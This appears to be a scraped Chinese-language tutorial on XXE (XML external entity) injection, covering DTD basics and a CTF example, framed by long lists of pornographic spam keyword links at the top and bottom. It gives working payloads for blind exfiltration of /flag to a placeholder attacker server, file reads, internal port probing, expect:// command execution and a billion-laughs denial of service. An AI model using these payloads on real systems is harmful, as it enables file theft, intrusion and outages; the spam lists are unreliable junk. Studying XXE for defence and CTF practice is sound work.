日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

XML實體注入深入理解

瀏覽:369日期:2022-06-04 10:02:42
目錄
  • 引文
  • 簡介
  • 基礎知識
    • DTD
    • 內部DOCTYPE聲明
  • XML實體注入
    • 無回顯XXE(BLIND XXE)
    • 讀取任意文件
    • 探測內網端口
    • 命令執行
    • dos拒絕服務
  • 例題
    • 結語

      引文

      在平常的WEB滲透中,我們經常會遇到SQL注入、文件上傳、SSRF、CSRF等一系列的漏洞,但XXE漏洞在座的讀者們了解過嗎。今天帶大家了解一下這個危險程度同樣很高的XXE漏洞。

      簡介

      Xml外部實體注入漏洞(XML External Entity Injection)簡稱XXE,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可以構造加載惡意外部文件,進而通過惡意外部文件對服務器進行攻擊。

      基礎知識

      在了解XXE漏洞前,我們先看看什么是XML實體。XML根據簡單概括為如下:可擴展標記語言 (Extensible Markup Language, XML) ,標準通用標記語言的子集,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。 XML是標準通用標記語言 可擴展性良好,內容與形式分離,遵循嚴格的語法要求,保值性良好等優點。

      可能單看文字讀者們不太好理解,下面給大家簡單舉個例子:

      上圖就是一個簡單的XML實體,用代碼顯示可以展示為:

      <bookstore>     <book category="COOKING">     <title lang="en">Everyday Italian</title>    <author>Giada De Laurentiis</author>     <year>2005</year>    <price>30.00</price>    </book>    <book category="CHILDREN">     <title lang="en">Harry Potter</title>     <author>J K. Rowling</author>     <year>2005</year>     <price>29.99</price>    </book>    <book category="WEB">     <title lang="en">Learning XML</title>     <author>Erik T. Ray</author>     <year>2003</year>    <price>39.95</price>     </book></bookstore>

      其中根的元素是 bookstore,book中 元素有子元素:author、title、year、price。

      DTD

      DTD(文檔類型定義)可以合法的定義xml標簽,DTD 可被成行地聲明于 XML 文檔中,也可作為一個外部引用,接下來帶大家詳細看一下它的內部結構以更好的去理解。

      內部DOCTYPE聲明

      <?xml version="1.0"?><!DOCTYPE note[<!--定義此文檔是 note 類型的文檔--><!ELEMENT note (to,from,heading,body)>       <!--定義note元素有四個元素--><!ELEMENT X (#PCDATA)>   <!ELEMENT I (#PCDATA)>     <!ELEMENT N (#PCDATA)>     <!ELEMENT O (#PCDATA)>     ]><note><to>I</to><from>A</from><head>M</head><body>XINO!</body></note>

      外部DOCTYPE聲明

      <!DOCTYPE 根元素 SYSTEM "URL">

      XML實體注入

      了解了上面的基礎知識后,我們便可以進一步學習XXE漏洞。

      我們要想利用,首先要判斷服務器會不會解析XML實體,所以開始時我們先上傳一個測試文件來判斷服務器是否能解析該類型,如果解析了,我們才可以繼續利用這個漏洞。

      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY name "hello">]><root>&name;</root>

      判斷服務器是否解析之后我們可以看看是否支持外部實體調用:

      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [ <!ENTITY name SYSTEM "vps/hack.dtd">]><root>&name;</root>

      判斷完之后就可以做進一步測試了,比如:

      無回顯XXE(BLIND XXE)

      我們將獲取的數據發送到外部的http服務器上,后面查看http服務器即可查看到提取的數據內容。

      舉一個最簡單的例子:

      #test.xml<!ENTITY % all"<!ENTITY &#x25; send SYSTEM "http://xxx.xxx.xxx.xxx/x.php?1=%file;"">%all;

      對應的payload可以寫作為:

      <!DOCTYPE ANY[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/test.xml">%remote;%send;]>

      首先對 remote 引用的目的是將外部文件 test.xml 引入到文中,檢測到 send 實體,在節點中引用 send,就可以成功實現數據轉發。也就實現了數據的外帶。

      讀取任意文件

      這個也是XXE比較常用的方法,我們引入(或編輯)一個DOCTYPE元素,該元素定義一個包含文件路徑的外部實體。

      探測內網端口

      我們利用XXE也可以進行內網探測端口(類似于SSRF),以用來進一步對機器照成攻擊:

      <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY><!ENTITY xxe SYSTEM "http://127.0.0.1:80">]><root>

      命令執行

      這個還是比較少見的,因為命令執行的條件比較苛刻,要求靶機php裝有expect擴展,但這個擴展是默認不安裝的,所以比較難利用。

      <?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://id" >]><root><name>&xxe;</name></root>

      dos拒絕服務

      這個不是很了解,在網上瀏覽時注意到的,原理大概是利用迭代參數實體進行拒絕服務,讓服務器的解析變得非常非常慢。

      <?xml version="1.0"?><!DOCTYPE xml [<!ENTITY xxe1 "xxe"><!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;"><!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;"><!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;"><!ENTITY xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;"><!ENTITY xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;">]><test>&xxe6;</test>

      例題

      [PHP]XXE

      打開是一個登錄界面:

      在源碼處會發現:

      <button id="go" onclick="XMLFunction()">GO!</button>

      可以判斷會解析XML文件,嘗試構造payload直接讀取文件:

      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY admin SYSTEM "file:///flag">]><root><username>&admin;</username><password>xino</password></root>

      抓包構造惡意數據然后發包:

      結語

      今天比較詳細的講了XXE漏洞的原理以及應用方法,有興趣的小伙伴可以自己去搭建靶機來進行測試,以上就是XML實體注入深入理解的詳細內容,更多關于XML實體注入的資料請關注其它相關文章!

      標簽: XML/RSS
      日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
      国产亚洲久久| 久久精品国产68国产精品亚洲| 午夜日韩av| 美女少妇全过程你懂的久久| 亚洲高清久久| 伊人久久成人| 丝袜国产日韩另类美女| 在线综合亚洲| 日本国产精品| 久久精品青草| 色婷婷色综合| 午夜久久av| 国产欧美另类| 久久不卡日韩美女| 91精品国产乱码久久久久久久 | 欧美在线资源| 欧美91精品| 日本少妇一区二区| 麻豆精品蜜桃| av综合电影网站| 日韩在线观看| 99亚洲精品| 日本不卡一区二区三区| 国产欧美一区二区三区国产幕精品| 亚洲精品女人| 国产精品国码视频| 久久男女视频| 麻豆精品91| 国产情侣一区在线| av资源亚洲| 免费中文字幕日韩欧美| 久久精品97| 精品国产aⅴ| 国产精品av一区二区| 免费看日韩精品| 国产午夜精品一区在线观看| 成人在线免费观看网站| 亚洲午夜在线| 欧美亚洲tv| 国产精品久久久久蜜臀| 尤物在线精品| 国产日韩免费| 蜜桃视频在线观看一区| 欧美天堂一区二区| 蜜桃一区二区三区在线观看| 国产精品玖玖玖在线资源| 成人看片网站| 精品久久福利| 免费在线成人| 99视频精品全部免费在线视频| 伊人久久亚洲| 91精品二区| 国产精品va| 国产精品一区三区在线观看| 亚洲精品乱码| 久久伊人久久| 在线观看免费一区二区| 久久激情五月激情| 91高清一区| 久久wwww| 99视频精品免费观看| 欧美1区2区3| 性色一区二区| 黄色欧美在线| 亚洲a级精品| 欧美一区二区三区高清视频| 国产丝袜一区| 国产精品女主播一区二区三区| 美女国产一区二区三区| 亚洲午夜久久久久久尤物 | 国产一区2区| 国产精品综合| 国产一区二区视频在线看| 日韩欧美少妇| 国产日韩在线观看视频| 免费精品一区| 国产精品va视频| 午夜亚洲精品| 日韩国产欧美一区二区三区| 中文字幕av一区二区三区四区| 丝袜国产日韩另类美女| 水蜜桃久久夜色精品一区| 亚洲精品少妇| 精品一区视频| 91精品国产自产在线观看永久∴| 亚洲黄色网址| 香蕉视频亚洲一级| 久久精品99国产精品日本| 欧美午夜精品一区二区三区电影| 国产乱码精品| 亚洲深夜福利| 欧美1区二区| 亚洲国产一区二区三区在线播放| 国产精品日本欧美一区二区三区| 国产乱码精品| 日本精品在线播放| 亚洲国产综合在线看不卡| 亚洲综合色婷婷在线观看| 国产精品欧美三级在线观看 | 四虎在线精品| 九九久久婷婷| 日韩一区自拍| 欧美激情另类| 精品久久国产一区| 国产精品久久国产愉拍| 日本午夜精品一区二区三区电影| 美女网站久久| 亚洲免费精品| 99久久99久久精品国产片果冰| 电影91久久久| 日本aⅴ亚洲精品中文乱码| 日韩视频一区| 成人av二区| 亚洲福利国产| 欧美午夜精彩| 欧美久久精品一级c片| 久久久水蜜桃av免费网站| 免费在线小视频| 日韩免费高清| 国产亚洲一区二区手机在线观看 | 免费不卡在线观看| 一本一本久久| 国产精品日韩| 天使萌一区二区三区免费观看| 婷婷激情图片久久| 欧美日韩精品一本二本三本| 国产精品7m凸凹视频分类| 婷婷色综合网| 黄色日韩精品| 亚洲一卡久久| 亚洲精品免费观看| 亚洲欧美专区| 日本a口亚洲| 久久国产三级精品| 国产精品一在线观看| 久久99影视| 97国产精品| 久久国产精品成人免费观看的软件| 成人日韩在线观看| 欧美特黄一级| 亚洲免费专区| 国产免费av国片精品草莓男男| 国产精品任我爽爆在线播放| 国内在线观看一区二区三区 | 激情中国色综合| 欧洲一区二区三区精品| 欧美+亚洲+精品+三区| 亚洲在线免费| 最新国产精品视频| 久久国产日韩欧美精品| 福利片在线一区二区| 亚洲不卡系列| 久久福利影视| 国产日韩欧美一区二区三区在线观看| 精品中国亚洲| 激情婷婷久久| 少妇精品在线| 福利欧美精品在线| 欧美在线资源| 欧美精品三级在线| 高清精品久久| 亚洲一区二区动漫| 国产探花一区| www在线观看黄色| 91精品91| 国产精品手机在线播放| 日韩国产在线| 一区二区精品| 牛牛精品成人免费视频| 精品中文一区| 久久黄色影视| 久久精品中文| 久久国产视频网| 国产精品99免费看| 欧美日韩一区二区国产| 国产欧美一区二区三区精品酒店| 中文久久精品| 久久99影视| 激情五月综合| 国产精品玖玖玖在线资源| 欧美+日本+国产+在线a∨观看| 91精品美女| 国产亚洲一区二区手机在线观看| 在线观看视频免费一区二区三区| 久久wwww| 日本欧美在线看| 福利精品一区| 亚洲精品美女91| 久久久精品网| 欧美另类中文字幕| 欧洲一级精品| 国产毛片一区二区三区| 99久久亚洲精品蜜臀| 国产日韩一区二区三区在线播放| 久久久人人人| 久久爱www.| 一区二区三区四区精品视频| 麻豆mv在线观看| 日本午夜精品| 一区在线免费|